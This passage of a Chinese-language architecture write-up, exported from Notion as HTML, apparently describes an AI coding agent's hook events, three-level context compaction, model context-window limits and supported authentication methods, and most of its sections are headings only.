class="notion-simple-table-cell">响应配置变化</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c814387c6ff45dc886e88"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Elicitation</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">引出事件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自定义数据收集</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8160a0e2e227087c77ea"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ElicitationResult</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">引出结果</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">处理收集结果</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a2a242d11c77cea3fc"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>InstructionsLoaded</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">指令加载完成</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">验证 CLAUDE.md</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c815192afc114d3e2230d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SubagentStart</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">子代理启动</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">初始化子代理环境</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81d5bfccf9231cde6659"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SubagentStop</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">子代理停止</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">清理子代理资源</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8119ba75f598b2837334"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>PreCompact</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">上下文压缩前</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">备份或分析对话</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f89e38d673b504245b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Notification</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">通知事件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自定义通知处理</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80ea9e3be16af1b24918" data-id="31d0f0c5b87c80ea9e3be16af1b24918"><span><div id="31d0f0c5b87c80ea9e3be16af1b24918" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80ea9e3be16af1b24918" title="8.2 Hook 配置结构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8.2 Hook 配置结构</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8002b314d9d03bf5f0a6" data-id="31d0f0c5b87c8002b314d9d03bf5f0a6"><span><div id="31d0f0c5b87c8002b314d9d03bf5f0a6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8002b314d9d03bf5f0a6" title="8.3 Hook 回调接口"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">8.3 Hook 回调接口</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80d88c39ef4f394f6160"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c8024b922f120c784b2ec" data-id="31d0f0c5b87c8024b922f120c784b2ec"><span><div id="31d0f0c5b87c8024b922f120c784b2ec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8024b922f120c784b2ec" title="9. 上下文管理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9. 上下文管理</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8050b39ecef89567d963" data-id="31d0f0c5b87c8050b39ecef89567d963"><span><div id="31d0f0c5b87c8050b39ecef89567d963" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8050b39ecef89567d963" title="9.1 三级压缩机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9.1 三级压缩机制</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80d2989aca826914942c"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81b4bfdae279276b15ef"><td class="" style="width:120px"><div class="notion-simple-table-cell">级别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">名称</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">触发条件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">处理方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8129b81cde2cd65a5e14"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>L1</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">微紧凑 (microcompact)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">每轮自动</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">清理冗余消息元素</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~5-10% 减少</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8166ba7bdc48b42f1a93"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>L2</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">自动紧凑 (autocompact)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">超过阈值</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">LLM 摘要压缩</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~50-70% 减少</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81349515e7755f943912"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>L3</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">反应式紧凑</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API 拒绝</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">紧急压缩重试</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">确保请求成功</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80d6963ceb0f3bf32d1d" data-id="31d0f0c5b87c80d6963ceb0f3bf32d1d"><span><div id="31d0f0c5b87c80d6963ceb0f3bf32d1d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80d6963ceb0f3bf32d1d" title="9.2 压缩流程详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9.2 压缩流程详解</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c804492f7c718d6f3cd34" data-id="31d0f0c5b87c804492f7c718d6f3cd34"><span><div id="31d0f0c5b87c804492f7c718d6f3cd34" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c804492f7c718d6f3cd34" title="9.3 提示缓存策略"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9.3 提示缓存策略</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c804bb662dcdcbbf3230f" data-id="31d0f0c5b87c804bb662dcdcbbf3230f"><span><div id="31d0f0c5b87c804bb662dcdcbbf3230f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c804bb662dcdcbbf3230f" title="9.4 令牌跟踪"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9.4 令牌跟踪</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c802a873ad1f07ea0dd0f"><b>精确计数</b>:</div><div class="notion-text notion-block-31d0f0c5b87c80468639cc14c169c555"><b>本地估算</b> (快速预测):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8023a916fd7e4bf14062" data-id="31d0f0c5b87c8023a916fd7e4bf14062"><span><div id="31d0f0c5b87c8023a916fd7e4bf14062" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8023a916fd7e4bf14062" title="9.5 上下文窗口配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">9.5 上下文窗口配置</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80f5934cf51e57fe1566"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81858783cf83bc99e90d"><td class="" style="width:120px"><div class="notion-simple-table-cell">模型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">上下文窗口</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">输出限制</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">压缩阈值</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8199b684d18ecacda461"><td class="" style="width:120px"><div class="notion-simple-table-cell">claude-opus-4-6</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">200K</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8192</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">160K (80%)</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81b2a80fea1aadf017eb"><td class="" style="width:120px"><div class="notion-simple-table-cell">claude-sonnet-4-6</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">200K</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8192</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">160K (80%)</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c817f8996cd4583849c2c"><td class="" style="width:120px"><div class="notion-simple-table-cell">claude-haiku</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">200K</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8192</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">160K (80%)</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c803983a3d6118c17dcd5"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c809b8ffbe37ae312ffb9" data-id="31d0f0c5b87c809b8ffbe37ae312ffb9"><span><div id="31d0f0c5b87c809b8ffbe37ae312ffb9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809b8ffbe37ae312ffb9" title="10. UI框架与渲染"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10. UI框架与渲染</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8004b704db7f5e7d14e7" data-id="31d0f0c5b87c8004b704db7f5e7d14e7"><span><div id="31d0f0c5b87c8004b704db7f5e7d14e7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8004b704db7f5e7d14e7" title="10.1 技术栈"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.1 技术栈</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80feb787c1c029ff3375" data-id="31d0f0c5b87c80feb787c1c029ff3375"><span><div id="31d0f0c5b87c80feb787c1c029ff3375" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80feb787c1c029ff3375" title="10.2 UI 组件层次"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.2 UI 组件层次</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80938f9cf3c17288fa92" data-id="31d0f0c5b87c80938f9cf3c17288fa92"><span><div id="31d0f0c5b87c80938f9cf3c17288fa92" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80938f9cf3c17288fa92" title="10.3 核心 Context 详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.3 核心 Context 详解</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80809540f6176660388a" data-id="31d0f0c5b87c80809540f6176660388a"><span><div id="31d0f0c5b87c80809540f6176660388a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80809540f6176660388a" title="10.3.1 UIStateContext"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.3.1 UIStateContext</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80b6b82af5a23b37afd1" data-id="31d0f0c5b87c80b6b82af5a23b37afd1"><span><div id="31d0f0c5b87c80b6b82af5a23b37afd1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b6b82af5a23b37afd1" title="10.3.2 SessionContext"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.3.2 SessionContext</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8080b9c6de80eb5a9693" data-id="31d0f0c5b87c8080b9c6de80eb5a9693"><span><div id="31d0f0c5b87c8080b9c6de80eb5a9693" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8080b9c6de80eb5a9693" title="10.4 渲染优化"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">10.4 渲染优化</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80eaae6bd3877e19aef5"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80c9a8e0f263e39af386" data-id="31d0f0c5b87c80c9a8e0f263e39af386"><span><div id="31d0f0c5b87c80c9a8e0f263e39af386" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80c9a8e0f263e39af386" title="11. 认证系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">11. 认证系统</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c804bb440ccac1e61e721" data-id="31d0f0c5b87c804bb440ccac1e61e721"><span><div id="31d0f0c5b87c804bb440ccac1e61e721" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c804bb440ccac1e61e721" title="11.1 支持的认证方式"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">11.1 支持的认证方式</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80199431d31843c33563"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81459642fbaaf161cb28"><td class="" style="width:120px"><div class="notion-simple-table-cell">方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">环境变量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">配置文件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a490abe93c0f12ccbb"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>API Key</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANTHROPIC_API_KEY</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">settings.json</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">标准认证</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81cbbe7bf5147e3cc26b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Auth Token</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANTHROPIC_AUTH_TOKEN</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">settings.json</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">OAuth 令牌</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c819c8583c2c39b35ec3f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Console Login</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">-</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">浏览器 OAuth</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">交互式登录</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a49702f8250c5f4aa5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SSO</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">-</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">企业配置</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">单点登录</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8056866bfa537411e7d4" data-id="31d0f0c5b87c8056866bfa537411e7d4"><span><div id="31d0f0c5b87c8056866bfa537411e7d4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8056866bfa537411e7d4" title="11.2 OAuth 2.0 流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">11.2 OAuth 2.0 流程</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c808488ecda280717d8a0" data-id="31d0f0c5b87c808488ecda280717d8a0"><span><div id="31d0f0c5b87c808488ecda280717d8a0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c808488ecda280717d8a0" title="11.3 API Key 生成"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">11.3 API Key 生成</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8055af45e494ac2e974f" data-id="31d0f0c5b87c8055af45e494ac2e974f"><span><div id="31d0f0c5b87c8055af45e494ac2e974f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8055af45e494ac2e974f" title="11.4 令牌刷新"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 